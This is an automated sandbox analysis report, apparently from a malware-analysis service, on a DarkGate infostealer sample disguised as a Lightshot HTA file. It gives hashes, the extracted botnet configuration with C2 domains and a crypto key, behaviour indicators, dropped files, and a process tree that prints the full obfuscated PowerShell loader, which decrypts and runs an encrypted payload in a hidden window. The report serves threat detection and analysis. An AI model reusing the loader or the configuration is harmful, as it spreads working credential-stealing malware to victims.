darkgate | 06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda

Analysis

max time kernel
151s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2023 14:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

30112023_2237_lightshot.hta
Size

54KB
MD5

d4a2eb2ca3c9c631d7fe24550901187f
SHA1

adce21df1542c8867a8d3ee867ad963671290a9c
SHA256

06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda
SHA512

68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9
SSDEEP

768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score

10^/10

darkgate a11111 stealer

Malware Config

Extracted

Family

darkgate

Botnet

A11111

http://trans1ategooglecom.com

http://saintelzearlava.com

Attributes

alternative_c2_port
8080
anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
XiOwgXyDLNDEpj
internal_mutex
txtMut
minimum_disk
100
minimum_ram
4096
ping_interval
4
rootkit
true
startup_persistence
true
username
A11111

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2940 created 2388	2940	Autoit3.exe	61

Blocklisted process makes network request 31 IoCs

flow	pid	Process
33	4032	powershell.exe
49	3428	mshta.exe
50	3428	mshta.exe
52	3428	mshta.exe
54	3428	mshta.exe
55	3428	mshta.exe
56	3428	mshta.exe
57	3428	mshta.exe
58	3428	mshta.exe
62	3428	mshta.exe
63	3428	mshta.exe
64	3428	mshta.exe
65	3428	mshta.exe
66	3428	mshta.exe
70	3428	mshta.exe
71	3428	mshta.exe
72	3428	mshta.exe
73	3428	mshta.exe
74	3428	mshta.exe
75	3428	mshta.exe
76	3428	mshta.exe
77	3428	mshta.exe
78	3428	mshta.exe
79	3428	mshta.exe
80	3428	mshta.exe
81	3428	mshta.exe
82	3428	mshta.exe
83	3428	mshta.exe
87	3428	mshta.exe
88	3428	mshta.exe
89	3428	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3635043082-2972811465-3176142135-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\gbedkea.lnk	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
856	Lightshot.exe
2940	Autoit3.exe

Loads dropped DLL 1 IoCs

pid	Process
856	Lightshot.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mshta.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mshta.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3136	powershell.exe
3136	powershell.exe
2364	powershell.exe
4032	powershell.exe
2364	powershell.exe
4032	powershell.exe
2940	Autoit3.exe
2940	Autoit3.exe
2940	Autoit3.exe
2940	Autoit3.exe
2940	Autoit3.exe
2940	Autoit3.exe
3428	mshta.exe
3428	mshta.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3136	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeIncreaseQuotaPrivilege	4032	powershell.exe
Token: SeSecurityPrivilege	4032	powershell.exe
Token: SeTakeOwnershipPrivilege	4032	powershell.exe
Token: SeLoadDriverPrivilege	4032	powershell.exe
Token: SeSystemProfilePrivilege	4032	powershell.exe
Token: SeSystemtimePrivilege	4032	powershell.exe
Token: SeProfSingleProcessPrivilege	4032	powershell.exe
Token: SeIncBasePriorityPrivilege	4032	powershell.exe
Token: SeCreatePagefilePrivilege	4032	powershell.exe
Token: SeBackupPrivilege	4032	powershell.exe
Token: SeRestorePrivilege	4032	powershell.exe
Token: SeShutdownPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeSystemEnvironmentPrivilege	4032	powershell.exe
Token: SeRemoteShutdownPrivilege	4032	powershell.exe
Token: SeUndockPrivilege	4032	powershell.exe
Token: SeManageVolumePrivilege	4032	powershell.exe
Token: 33	4032	powershell.exe
Token: 34	4032	powershell.exe
Token: 35	4032	powershell.exe
Token: 36	4032	powershell.exe
Token: SeIncreaseQuotaPrivilege	4032	powershell.exe
Token: SeSecurityPrivilege	4032	powershell.exe
Token: SeTakeOwnershipPrivilege	4032	powershell.exe
Token: SeLoadDriverPrivilege	4032	powershell.exe
Token: SeSystemProfilePrivilege	4032	powershell.exe
Token: SeSystemtimePrivilege	4032	powershell.exe
Token: SeProfSingleProcessPrivilege	4032	powershell.exe
Token: SeIncBasePriorityPrivilege	4032	powershell.exe
Token: SeCreatePagefilePrivilege	4032	powershell.exe
Token: SeBackupPrivilege	4032	powershell.exe
Token: SeRestorePrivilege	4032	powershell.exe
Token: SeShutdownPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeSystemEnvironmentPrivilege	4032	powershell.exe
Token: SeRemoteShutdownPrivilege	4032	powershell.exe
Token: SeUndockPrivilege	4032	powershell.exe
Token: SeManageVolumePrivilege	4032	powershell.exe
Token: 33	4032	powershell.exe
Token: 34	4032	powershell.exe
Token: 35	4032	powershell.exe
Token: 36	4032	powershell.exe
Token: SeIncreaseQuotaPrivilege	4032	powershell.exe
Token: SeSecurityPrivilege	4032	powershell.exe
Token: SeTakeOwnershipPrivilege	4032	powershell.exe
Token: SeLoadDriverPrivilege	4032	powershell.exe
Token: SeSystemProfilePrivilege	4032	powershell.exe
Token: SeSystemtimePrivilege	4032	powershell.exe
Token: SeProfSingleProcessPrivilege	4032	powershell.exe
Token: SeIncBasePriorityPrivilege	4032	powershell.exe
Token: SeCreatePagefilePrivilege	4032	powershell.exe
Token: SeBackupPrivilege	4032	powershell.exe
Token: SeRestorePrivilege	4032	powershell.exe
Token: SeShutdownPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeSystemEnvironmentPrivilege	4032	powershell.exe
Token: SeRemoteShutdownPrivilege	4032	powershell.exe
Token: SeUndockPrivilege	4032	powershell.exe
Token: SeManageVolumePrivilege	4032	powershell.exe
Token: 33	4032	powershell.exe
Token: 34	4032	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 464 wrote to memory of 3136	464	mshta.exe	90
PID 464 wrote to memory of 3136	464	mshta.exe	90
PID 464 wrote to memory of 3136	464	mshta.exe	90
PID 3136 wrote to memory of 3008	3136	powershell.exe	92
PID 3136 wrote to memory of 3008	3136	powershell.exe	92
PID 3136 wrote to memory of 3008	3136	powershell.exe	92
PID 3008 wrote to memory of 2364	3008	cmd.exe	94
PID 3008 wrote to memory of 2364	3008	cmd.exe	94
PID 3008 wrote to memory of 2364	3008	cmd.exe	94
PID 3008 wrote to memory of 4032	3008	cmd.exe	95
PID 3008 wrote to memory of 4032	3008	cmd.exe	95
PID 3008 wrote to memory of 4032	3008	cmd.exe	95
PID 856 wrote to memory of 2940	856	Lightshot.exe	100
PID 856 wrote to memory of 2940	856	Lightshot.exe	100
PID 856 wrote to memory of 2940	856	Lightshot.exe	100
PID 2940 wrote to memory of 3428	2940	Autoit3.exe	102
PID 2940 wrote to memory of 3428	2940	Autoit3.exe	102
PID 2940 wrote to memory of 3428	2940	Autoit3.exe	102
PID 2940 wrote to memory of 3428	2940	Autoit3.exe	102

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2388
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3428

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\30112023_2237_lightshot.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2364
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4032

C:\Users\Admin\AppData\Roaming\Lightshot.exe
C:\Users\Admin\AppData\Roaming\Lightshot.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:856
- \??\c:\tmpp\Autoit3.exe
  c:\tmpp\Autoit3.exe c:\tmpp\test.au3
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\hdfbeeh\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\ProgramData\hdfbeeh\hchccge\bcakcbh

Filesize
230B

MD5
2c747da839eb94bd3597af2ab140e021

SHA1
7e93abb5511fd497f2862f55ef0fc84f0c074a09

SHA256
4f5e942d4644eb1b861e0be71d5589b58070041fdba83a8bf4a9c371a2b5ca6c

SHA512
8fdd49bee0ac278d9b47a2aa43c74ed163eff1ecd787b2cb368be4955875cc3e0d519045ea7e528b3cf8aeacf64b1ede8ffac4b7fde20a8b3897a3a6ddbdd166

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
68153796cb126fecef5f48d870c2216d

SHA1
6e6455f04d471ec9cb6e83e7dd2f1e4d54cc55a7

SHA256
d9e70efed37421af43a2ddb3026509b9cadcc0abba9a51ddd91dc0033188468d

SHA512
eebb0a2d6994dfbd81cc73f14bee4d9082dff847c7ad1a9c43602dee96fb8f098fee4913dcc0d5bd57ff4f2a01b73dba10bc516f078be33c13ad37f3d0f1a262

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjzhcojz.gno.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.dll

Filesize
2.7MB

MD5
6376c4e1fa2dcb1c73f178b675ea5840

SHA1
c46e52b896bf3b53a6878d2b2386a9dc40377f19

SHA256
90e38d684c63fee4e5d7bdd16c4409022bf9edfc7cf266b9e49936962ce37b03

SHA512
d967d2e60b743bd57489c9edd0cf9d820d0ea749402be2dcb7b2e14a82828aa4c981b9fa32470d9f5fb208152e673eb3b9daf0485c53680548f5ea2619537494

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.dll

Filesize
2.7MB

MD5
6376c4e1fa2dcb1c73f178b675ea5840

SHA1
c46e52b896bf3b53a6878d2b2386a9dc40377f19

SHA256
90e38d684c63fee4e5d7bdd16c4409022bf9edfc7cf266b9e49936962ce37b03

SHA512
d967d2e60b743bd57489c9edd0cf9d820d0ea749402be2dcb7b2e14a82828aa4c981b9fa32470d9f5fb208152e673eb3b9daf0485c53680548f5ea2619537494

Download Submit
C:\Users\Admin\AppData\Roaming\Lightshot.exe

Filesize
487KB

MD5
1e1c83b9680029ad4a9f8d3b3ac93197

SHA1
fa7b69793454131a5b21b32867533305651e2dd4

SHA256
0b899508777d7ed5159e2a99a5eff60c54d0724493df3d630525b837fa43aa51

SHA512
fe6f8df3dbbcc7535ead60028ec3e45801a33ccc81c9137b2288bc0d18be42379564c907eb406ce9491f46930690efa9a86a9f6506414992b5dba75adb3d1136

Download Submit
C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tmpp\Autoit3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
\??\c:\temp\fhbaahh.au3

Filesize
492KB

MD5
dbd1ca08a1b009d1abab3def6ffa967b

SHA1
f05c604a879c9396f93f6857f84d6ba58734ae0f

SHA256
1744c6621eeb65626f1d0c99ffcb11b61d61e1f1747e4e8310e3e0d921056bb1

SHA512
6b28d83aee4eb2b219ed4e665f09bda8d32250b6b2d2a74b2f56243ce60b1a49aa570050b752bcbc27c4deff373d0ca8a6d968714813223648ec58c0a0f7d2cb

Download Submit
\??\c:\tmpp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
\??\c:\tmpp\test.au3

Filesize
492KB

MD5
dbd1ca08a1b009d1abab3def6ffa967b

SHA1
f05c604a879c9396f93f6857f84d6ba58734ae0f

SHA256
1744c6621eeb65626f1d0c99ffcb11b61d61e1f1747e4e8310e3e0d921056bb1

SHA512
6b28d83aee4eb2b219ed4e665f09bda8d32250b6b2d2a74b2f56243ce60b1a49aa570050b752bcbc27c4deff373d0ca8a6d968714813223648ec58c0a0f7d2cb

Download Submit
memory/856-91-0x0000000000400000-0x00000000006C2000-memory.dmp

Filesize
2.8MB

Download
memory/2364-34-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/2364-61-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/2364-57-0x0000000007660000-0x0000000007CDA000-memory.dmp

Filesize
6.5MB

Download
memory/2364-55-0x0000000004900000-0x0000000004910000-memory.dmp

Filesize
64KB

Download
memory/2364-30-0x0000000004900000-0x0000000004910000-memory.dmp

Filesize
64KB

Download
memory/2364-32-0x0000000004900000-0x0000000004910000-memory.dmp

Filesize
64KB

Download
memory/2940-94-0x00000000015C0000-0x00000000019C0000-memory.dmp

Filesize
4.0MB

Download
memory/2940-96-0x00000000043F0000-0x0000000004585000-memory.dmp

Filesize
1.6MB

Download
memory/2940-105-0x00000000043F0000-0x0000000004585000-memory.dmp

Filesize
1.6MB

Download
memory/3136-23-0x0000000006D20000-0x0000000006D42000-memory.dmp

Filesize
136KB

Download
memory/3136-5-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/3136-1-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/3136-2-0x0000000002E60000-0x0000000002E96000-memory.dmp

Filesize
216KB

Download
memory/3136-3-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/3136-4-0x00000000059F0000-0x0000000006018000-memory.dmp

Filesize
6.2MB

Download
memory/3136-28-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/3136-6-0x00000000060D0000-0x0000000006136000-memory.dmp

Filesize
408KB

Download
memory/3136-24-0x0000000007FC0000-0x0000000008564000-memory.dmp

Filesize
5.6MB

Download
memory/3136-7-0x00000000061B0000-0x0000000006216000-memory.dmp

Filesize
408KB

Download
memory/3136-17-0x00000000063B0000-0x0000000006704000-memory.dmp

Filesize
3.3MB

Download
memory/3136-18-0x00000000067D0000-0x00000000067EE000-memory.dmp

Filesize
120KB

Download
memory/3136-19-0x00000000067F0000-0x000000000683C000-memory.dmp

Filesize
304KB

Download
memory/3136-20-0x00000000053B0000-0x00000000053C0000-memory.dmp

Filesize
64KB

Download
memory/3136-21-0x0000000007970000-0x0000000007A06000-memory.dmp

Filesize
600KB

Download
memory/3136-22-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Filesize
104KB

Download
memory/3136-0-0x0000000071C00000-0x00000000723B0000-memory.dmp

Filesize
7.7MB

Download
memory/3428-110-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-111-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-102-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-120-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-103-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-119-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-118-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/3428-117-0x0000000000580000-0x00000000005E6000-memory.dmp

Filesize
408KB

Download
memory/4032-33-0x0000000004780000-0x0000000004790000-memory.dmp

